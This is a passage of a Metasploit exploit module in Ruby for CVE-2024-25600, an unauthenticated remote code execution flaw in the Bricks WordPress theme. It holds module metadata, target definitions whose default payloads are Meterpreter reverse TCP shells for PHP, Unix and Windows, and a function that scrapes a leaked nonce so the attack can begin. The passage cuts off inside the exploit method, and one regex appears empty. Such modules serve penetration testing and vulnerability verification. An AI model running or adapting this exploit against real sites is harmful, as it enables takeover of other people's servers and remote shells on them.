The vulnerability allows attackers to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and exploit the eval() function usage within the theme. Successful exploitation allows for full control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher. }, 'Author' => [ 'Calvin Alkan', # Vulnerability discovery 'Valentin Lobstein' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-25600'], ['URL', 'https://github.com/Chocapikk/CVE-2024-25600'], ['URL', 'https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6'], ['WPVDB', 'afea4f8c-4d45-4cc0-8eb7-6fa6748158bd'] ], 'DisclosureDate' => '2024-02-19', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] }, 'Platform' => ['unix', 'linux', 'win', 'php'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Type' => :php_memory } ], [ 'Unix In-Memory', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }, 'Type' => :unix_memory } ], [ 'Windows In-Memory', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' }, 'Type' => :win_memory } ], ], 'Privileged' => false ) ) end def fetch_nonce uri = normalize_uri(target_uri.path) res = send_request_cgi('method' => 'GET', 'uri' => uri) return nil unless res&.code == 200 script_tag_match = res.body.match(%r{}) return nil unless script_tag_match script_content = script_tag_match[1] nonce_match = script_content.match(/"nonce":"([a-f0-9]+)"/) nonce_match ? nonce_match[1] : nil end def exploit nonce = fetch_nonce fail_with(Failure::NoAccess, 'Failed to retrieve nonce.
